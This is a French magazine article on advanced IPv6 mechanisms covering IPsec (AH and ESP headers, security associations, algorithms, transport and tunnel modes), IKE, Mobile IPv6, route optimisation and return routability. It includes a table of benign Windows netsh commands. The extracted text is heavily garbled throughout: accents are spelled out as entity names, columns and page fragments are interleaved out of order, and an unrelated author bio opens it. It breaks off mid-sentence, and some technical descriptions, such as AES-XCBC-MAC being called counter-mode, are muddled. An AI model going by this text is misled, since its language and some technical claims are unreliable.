a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

